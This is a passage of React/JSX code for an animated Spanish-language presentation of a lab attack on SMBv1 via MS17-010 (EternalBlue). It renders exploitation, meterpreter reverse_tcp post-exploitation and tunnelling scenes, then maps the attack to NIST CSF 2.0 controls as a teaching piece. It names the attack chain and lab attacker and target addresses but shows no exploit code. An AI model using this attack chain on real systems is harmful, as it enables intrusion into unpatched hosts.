                <div style={{ font: `400 clamp(10px,0.76vw,14px) ${MONO}`, color: C.ink, marginTop: 8 }}>No hay named pipe accesible</div>
              </div>
            </Card>
          </Scene>

          {/* Explotación */}
          <Scene on={win(t, K.EternalBlue, K.PostExplotacion, 0.6)} cols="1.5fr 1fr">
            <Terminal t={t} title="root@h4king: ~ — msfconsole" rows={17} />
            <Card title="NON-PAGED POOL · srvnet buffers" accent={C.acid}>
              <div style={{ display: 'grid', gridTemplateColumns: 'repeat(20,1fr)', gap: 4 }}>
                {cells.map((i) => {
                  const col = i % 20, row = Math.floor(i / 20);
                  const groomed = row >= 3 && col % 5 === 2 && groom > col / 20;
                  const swept = sweep * 20 > col, hit = breach > 0.3 && row === 4 && col >= 9 && col <= 11;
                  return <div key={i} style={{ aspectRatio: '1', borderRadius: 2, background: hit ? C.red : groomed ? C.acid : swept ? 'rgba(230,255,46,.28)' : 'rgba(255,255,255,.06)', boxShadow: hit ? `0 0 12px ${C.red}` : 'none' }} />;
                })}
              </div>
              <div style={{ display: 'flex', justifyContent: 'space-between', gap: 10, marginTop: 'clamp(10px,1vw,18px)', font: `500 clamp(9px,0.7vw,13px) ${MONO}`, color: C.dim }}>
                <span style={{ opacity: sm((t - (E + 8.4)) / 0.4) }}>12 groom allocations</span>
                <span style={{ color: C.acid, opacity: breach }}>overwrite 0xC000000D</span>
              </div>
            </Card>
          </Scene>

          {/* Post-explotación */}
          <Scene on={win(t, K.PostExplotacion, K.Tunel, 0.6)} cols="1fr 1.15fr">
            <Terminal t={t} title="root@h4king: ~ — meterpreter" rows={16} small />
            <div style={{ display: 'grid', gridTemplateRows: 'auto 1fr', gap: 'clamp(8px,0.9vw,16px)', minHeight: 0 }}>
              <Card title="CONTROL DEL EQUIPO OBJETIVO" accent={C.acid} style={{ opacity: win(t, K.PostExplotacion, K.PostExplotacion + 7.2, 0.5) }}>
                <div style={{ display: 'grid', gridTemplateColumns: 'repeat(2,1fr)', gap: 'clamp(8px,0.8vw,14px)' }}>
                  {[['SESIÓN', '1 · meterpreter'], ['TRANSPORTE', 'reverse_tcp'], ['ATACANTE', '192.168.0.17:4444'], ['OBJETIVO', '192.168.0.16:49225']].map(([k, v]) => (
                    <div key={k}>
                      <div style={{ font: `500 clamp(8px,0.58vw,11px) ${MONO}`, letterSpacing: '.14em', color: C.faint }}>{k}</div>
                      <div style={{ font: `500 clamp(10px,0.8vw,15px) ${MONO}`, color: C.ink, marginTop: 3 }}>{v}</div>
                    </div>
                  ))}
                </div>
              </Card>
              <Desktop t={t} />
            </div>
          </Scene>

          {/* Túnel */}
          <Scene on={win(t, K.Tunel, K.Controles, 0.6)} cols="0.8fr 1.4fr">
            <Terminal t={t} title="root@h4king: ~ — meterpreter" rows={14} small />
            <Desktop t={t} netstat />
          </Scene>

          {/* Controles */}
          <Scene on={win(t, K.Controles, K.Cierre, 0.6)}>
            <div style={{ display: 'flex', flexDirection: 'column', justifyContent: 'center', gap: 'clamp(6px,0.6vw,11px)', minHeight: 0 }}>
              <div style={{ display: 'flex', alignItems: 'baseline', justifyContent: 'space-between', gap: 14 }}>
                <span style={{ font: `500 clamp(9px,0.68vw,13px) ${MONO}`, letterSpacing: '.2em', color: C.acid }}>MATRIZ DE CONTROLES NIST CSF 2.0</span>
                <span style={{ font: `400 clamp(8px,0.6vw,11px) ${MONO}`, letterSpacing: '.1em', color: C.faint }}>MS17-010 / EternalBlue</span>
              </div>
              <div style={{ display: 'grid', gridTemplateColumns: COLS, gap: 1, font: `500 clamp(8px,0.58vw,11px) ${MONO}`, letterSpacing: '.14em', color: C.faint }}>
                <span>FUNCIÓN</span><span>CONTROL</span><span>EVIDENCIA</span>
              </div>
              <div style={{ display: 'flex', flexDirection: 'column', gap: 1, background: C.hair, border: `1px solid ${C.hair}`, borderRadius: 6, overflow: 'hidden' }}>
                {NIST.map(([code, name, ctrl, ev, lab], i) => {
                  const e = sm((t - (K.Controles + 0.7 + i * 0.5)) / 0.7);
                  const cell = { background: C.panel, padding: 'clamp(9px,0.9vw,17px) clamp(10px,1vw,18px)', font: `400 clamp(10px,0.78vw,15px)/1.4 ${DISP}`, color: '#c3cbd3', textWrap: 'pretty' };
                  return (
                    <div key={code} style={{ display: 'grid', gridTemplateColumns: COLS, gap: 1, opacity: e, transform: `translateX(${(1 - e) * 18}px)` }}>
                      <div style={Object.assign({}, cell, { display: 'flex', alignItems: 'baseline', gap: 10, boxShadow: `inset 3px 0 0 ${lab ? C.acid : 'rgba(255,255,255,.18)'}` })}>
                        <span style={{ font: `600 clamp(12px,0.95vw,18px) ${MONO}`, color: lab ? C.acid : C.ink }}>{code}</span>
                        <span style={{ font: `500 clamp(10px,0.78vw,15px) ${DISP}`, color: C.ink }}>{name}</span>
                      </div>
                      <div style={Object.assign({}, cell, { color: C.ink })}>{ctrl}</div>
                      <div style={Object.assign({}, cell, { color: lab ? C.acid : '#c3cbd3' })}>{ev}</div>
                    </div>
                  );
                })}
              </div>
            </div>
          </Scene>

          {/* Cierre */}
          <Scene on={sm((t - (K.Cierre - 0.5)) / 0.7)}>
            <div style={{ display: 'flex', flexDirection: 'column', justifyContent: 'center', gap: 'clamp(14px,1.4vw,26px)' }}>
              <div style={{ font: `800 clamp(28px,3.4vw,64px) ${DISP}`, color: C.ink, letterSpacing: '-.035em', lineHeight: 1.02, textWrap: 'pretty' }}>
                17 etapas, una sola causa:<br /><span style={{ color: C.acid }}>SMBv1 sin parchear.</span>
              </div>
              <div style={{ display: 'grid', gridTemplateColumns: '1fr 1fr', gap: 'clamp(8px,0.9vw,16px)', font: `500 clamp(8px,0.6vw,11px) ${MONO}`, letterSpacing: '.16em' }}>
                <span style={{ color: C.red }}>OBSERVADO EN EL LABORATORIO</span>
                <span style={{ color: C.acid }}>CONTROL QUE LO CIERRA</span>
              </div>
              <div style={{ display: 'flex', flexDirection: 'column', gap: 1, background: C.hair, border: `1px solid ${C.hair}`, borderRadius: 6, overflow: 'hidden' }}>
                {CLOSE.map(([a, b], i) => {
                  const e = sm((t - (K.Cierre + 0.9 + i * 0.32)) / 0.6);
                  return (
                    <div key={a} style={{ display: 'grid', gridTemplateColumns: '1fr 1fr', gap: 1, opacity: e }}>
                      <div style={{ background: C.panel, padding: 'clamp(9px,0.85vw,15px) clamp(11px,1vw,18px)', font: `400 clamp(10px,0.8vw,15px)/1.4 ${DISP}`, color: C.dim, textWrap: 'pretty' }}>{a}</div>
                      <div style={{ background: C.panel, padding: 'clamp(9px,0.85vw,15px) clamp(11px,1vw,18px)', font: `500 clamp(10px,0.8vw,15px)/1.4 ${DISP}`, color: C.ink, textWrap: 'pretty' }}>{b}</div>
                    </div>
                  );
                })}
              </div>
            </div>
          </Scene>
        </div>

        <ChainBar t={t} />
      </div>
    );
  }

  window.WorldPanel = WorldPanel;
  window.WORLD_TOTAL = TOTAL;
})();
